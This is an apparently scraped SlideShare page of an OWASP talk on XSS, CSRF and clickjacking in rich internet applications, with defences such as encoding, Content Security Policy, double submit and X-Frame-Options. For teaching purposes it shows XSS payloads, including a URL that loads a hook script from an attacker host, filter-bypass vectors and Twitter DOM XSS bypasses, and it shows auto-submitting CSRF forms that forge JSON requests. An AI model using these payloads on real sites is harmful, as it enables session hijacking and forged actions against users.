Application Security for RIAs

4,279 views

Published on

How do rich internet applications relate to cross-site scripting and cross-site request forgeries? What countermeasures are available?

Published in: Technology
2 Comments
5 Likes
Statistics
Notes
No Downloads
Views
Total views
4,279
On SlideShare
0
From Embeds
0
Number of Embeds
156
Actions
Shares
0
Downloads
78
Comments
2
Likes
5
Embeds 0
No embeds

No notes for slide
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Application Security for RIAs

    1. 1. Application Security for RIAs John Wilander, & OWASP
    2. 2. Frontend developer atSvenska HandelsbankenResearcher in application securityCo-leader OWASP Sweden@johnwilanderjohnwilander.com (music)OWASP == The Open WebApplication Security ProjectCheat sheets, tools, code, guidelineshttps://owasp.org
    3. 3. ÅåÄäÖöThe above three extra letters are Swedish developers’ biggest problem. Help us – use UTF-8!
    4. 4. OWASP Top 10 Top web application security risks 2010
    5. 5. 1. Injection2. Cross-Site Scripting (XSS)3. Broken Authentication and Session Management4. Insecure Direct Object References5. Cross-Site Request Forgery (CSRF)6. Security Misconfiguration7. Insecure Cryptographic Storage8. Failure to Restrict URL Access9. Insufficient Transport Layer Protection10. Unvalidated Redirects and Forwards
    6. 6. ”Do I have to care?”
    7. 7. Likelihood of ≥ 1 vulnerability on your siteFrom: WhiteHat Website Security Statistic Report, Winter 2011
    8. 8. Per extension .asp .aspx .do .jsp .php Sites having had ≥ 1 74 % 73 % 77 % 80 % 80 % serious vulnerability Sites currently having ≥ 1 57 % 58 % 56 % 59 % 63 % serious vulnerabilityFrom: WhiteHat Website Security Statistic Report, Spring 2010
    9. 9. But we’re moving towards more code client-side
    10. 10. Client-Side, JavaScript VulnerabilitiesFrom: IBM X-Force 2011 Mid-Year Trend and Risk Report
    11. 11. Client-Side, JavaScript VulnerabilitiesFrom: IBM X-Force 2011 Mid-Year Trend and Risk Report
    12. 12. Focus Today• Cross-Site Scripting (XSS)• Cross-Site Request Forgery (CSRF)• Clickjacking
    13. 13. XSS ...the hack that keeps on hacking
    14. 14. Cross-Site Scripting Theory Scripting ite ross-S C
    15. 15. Cross-Site Scripting Type 1, reflected Scripting Cross-Site Ph ising
    16. 16. Cross-Site Scripting Type 2, stored s-Site C ros
    17. 17. Cross-Site Scripting Type 2, stored Scripting
    18. 18. Cross-Site Scripting Type 0, DOM-based g ip tin Scr Cros s-Sit e Ph is ing
    19. 19. Cross-Site Scripting Type 0, DOM-based g ip tin Scr Cros No server roundtrip! s-Sit e Also, single-page interfaces make injected scripts ”stick” Ph isi in thenDOM. g
    20. 20. https://secure.bank.com/authentication#language=sv&country=SE
    21. 21. https://secure.bank.com/authentication#language=sv&country=SE Never sent to server Be careful when you use this data on your page
    22. 22. Would you click this? https://secure.bank.com/authentication#language=<script src="http://attackr.se: 3000/hook.js"></script>&country=SE
    23. 23. Would you click this? https://secure.bank.com/authentication#language=%3Cscript%20src%3D%22http%3A%2F %2Fattackr.se%3A3000%2Fhook.js%22%3E%3C %2Fscript%3E&country=SE
    24. 24. Would you click this? http://bit.ly/Yg4T32
    25. 25. Filter out <script>?var ... , stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig,/** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, "");}, http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
    26. 26. Filter out <script>?<img src=1 onerror=alert(1)><svg onload="javascript:alert(1)"xmlns="http://www.w3.org/2000/svg"></svg><body onload=alert(XSS)><table background="javascript:alert(XSS)">¼script¾alert(¢XSS¢)¼/script¾<video poster=javascript:alert(1)//
    27. 27. ”C’mon, such attacks don’t really work, do they?” Yep, demo.
    28. 28. DOM-Based XSS Twitter September 2010Full story athttp://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
    29. 29. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
    30. 30. (function(g){ What does this code do? var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
    31. 31. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander”(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
    32. 32. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander”(function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but initial g.location = a; changes the path }})(window);
    33. 33. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander”(function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but initial g.location = a; changes the path } So})(window); twitter.com/#!/johnwilander becomes twitter.com/johnwilander Read more: http://kotowicz.net/absolute/
    34. 34. http://twitter.com/#!javascript:alert(document.domain);
    35. 35. http://twitter.com/#!javascript:alert(document.domain); Never sent to server => DOM-based XSS
    36. 36. The Patch™var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}
    37. 37. The Patch™var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;} Replaces the first occurance of the search string
    38. 38. http://twitter.com/#!javascript::alert(document.domain);
    39. 39. http://twitter.com/#!javascript::alert(document.domain);
    40. 40. The 2nd Patch™(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);
    41. 41. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp pattern delimiters
    42. 42. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp pattern delimiters Global match
    43. 43. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp pattern delimiters Global match Ignore case
    44. 44. Were they done now?
    45. 45. http://twitter.com#!javascript&x58;alert(1)
    46. 46. http://twitter.com#!javascript&x58;alert(1) HTML entity version of ’:’
    47. 47. The n:th Patch™ (this one works)(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; }})(window); And hey, Twitter is doing the right thing: https://twitter.com/about/security
    48. 48. Fix these issues properly with ...Client-Side Encoding
    49. 49. https://github.com/chrisisbeef/jquery-encoder• $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>• $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style()• $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html()• $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes• $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc• $.encoder.encodeForURL() Encodes for safe usage in href etc
    50. 50. https://github.com/chrisisbeef/jquery-encoder• $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>• $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style()• $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html()• $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes• $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc• $.encoder.encodeForURL() Encodes for safe usage in href etc
    51. 51. Let’s do a short demo of that
    52. 52. Also, check out ...Content Security Policyhttp://people.mozilla.com/~bsterne/ content-security-policy/
    53. 53. New HTTP Response Header Saying ...Only allow scripts from whitelisted domainsandonly allow scripts from files, i.e. no inline scripts
    54. 54. self = same URL, protocol and portX-Content-Security-Policy: default-src selfAccept all content including scripts only from my own URL+portX-Content-Security-Policy: default-src *;script-src trustedscripts.foo.comAccept media only from my URL+port (images, stylesheets,fonts, ...) and scripts only from trustedscripts.foo.com
    55. 55. CSRFmy current favorite!
    56. 56. Cross-Site Request Forgery Request For gery Cro ss-S ite
    57. 57. Cross-Site Request Forgery Request Forgery Cros s-Site Ph isin g
    58. 58. Is www.attackr.se allowed to load images like this:<img src=”https://secure.bank.com/ logo.png" /> ?
    59. 59. Is www.attackr.se allowed to load images like this: <img src=”https://secure.bank.com/authentication#language=sv&country=SE" /> ?
    60. 60. With image tags www.attackr.se can silently send HTTP GET requests to any domain <img src=”https://secure.bank.com/authentication#language=sv&country=SE" height=0 width=0 />
    61. 61. ”Will restricting toHTTP POST save me?”
    62. 62. What’s on your mind? What’s on your mind? POST POST
    63. 63. What’s on your mind? What’s on your mind?I love OWASP! POST POST
    64. 64. What’s on your mind? What’s on your mind?I love OWASP! POST POSTJohn: I love OWASP!
    65. 65. What’s on your mind? What’s on your mind? POST POST
    66. 66. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
    67. 67. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
    68. 68. What’s on your mind? What’s on your mind? POST I hate OWASP! POSTJohn: I hate OWASP!
    69. 69. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form">John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $(#form).submit(); }); </script>
    70. 70. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit"What’s on your mind? What’s on your mind? value="POST"/> POST </form>John: I hate OWASP! <script> $(document).ready(function() { $(#target).submit(); }); </script>
    71. 71. There used to be aprotection in web 1.5
    72. 72. Forced Browsing wizard-styleShipment info ✉ Payment info $ Next Buy!
    73. 73. Forced Browsing wizard-styleShipment info ✉ Payment info $ Token Next Buy!
    74. 74. Forced Browsing wizard-styleToken 1 Token 2 Token 3
    75. 75. Forced Browsing wizard-style Token 1 Token 2 Token 3State built up i steps, server roundtrip in-between
    76. 76. Forced Browsing wizard-styleToken 1 Token 2 Token 3 ge for n’t to uld est Co qu re t step las out a w tith oken va lid
    77. 77. But in RIAs ...
    78. 78. RIA & client-side state { ”purchase”: {} }
    79. 79. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
    80. 80. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
    81. 81. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
    82. 82. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
    83. 83. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
    84. 84. Can an attacker forgesuch a JSON structure?
    85. 85. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
    86. 86. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
    87. 87. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
    88. 88. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
    89. 89. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that <input type="text" like this: looks name=”” value="" /> theName=theValue ... and that’s not valid JSON. <input type="submit" value="Go" /></form>
    90. 90. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}// value="dummy" /> <input type="submit" value="Go" /></form>
    91. 91. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" Produces a request body that looks enctype="text/plain"> like this: <input type="text" {"id": 0, "nickName": name={"id": 0, "nickName": "John", "John","oneLiner": "I "oneLiner": "I hate OWASP!", hate OWASP!","timestamp": "timestamp": "20111006"}// "20111006"}//=dummy value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /></form>
    92. 92. Demo POST CSRFagainst REST service
    93. 93. Demo XSS + CSRF with The Browser Exploitation Framework http://beefproject.com/
    94. 94. Important in your REST API• Restrict HTTP method, e.g. POST Easier to do CSRF with GET• Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default• Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi-part and text/plain
    95. 95. Attacker may spoofheaders via Flash proxy http://lists.webappsec.org/pipermail/ websecurity_lists.webappsec.org/2011- February/007533.html
    96. 96. Double Submit
    97. 97. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
    98. 98. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
    99. 99. Double Submit (CSRF protection)Anti-CSRF cookie canbe generated client-side=> no server-side state
    100. 100. Clickjacking... or Likejacking or Followjacking or ...
    101. 101. Clickjacking Demo
    102. 102. X-Frame-Optionshttp://blogs.msdn.com/b/ie/archive/ 2009/01/27/ie8-security-part-vii- clickjacking-defenses.aspx http://tools.ietf.org/html/draft- gondrom-frame-options-01
    103. 103. No page can load me in an iframeoronly my own domain can load me in an iframe
    104. 104. X-Frame-Options: DENYX-Frame-Options: SAMEORIGIN(Coming:X-Frame-Options: ALLOW-FROM [list])
    105. 105. How To Get It Right• Join your local OWASP chapter https://www.owasp.org/index.php/OWASP_Chapter• Start following these fellas on Twitter: @WisecWisec @0x6D6172696F @garethheyes @internot_ @securityninja @jeremiahg @kkotowicz @webtonull @manicode @_mwc• Start hacking – it’s fun! Best place to start? Your own apps of course. Just stay legal ;)
    106. 106. @johnwilander john.wilander@owasp.orghttp://appsandsecurity.blogspot.com

    ×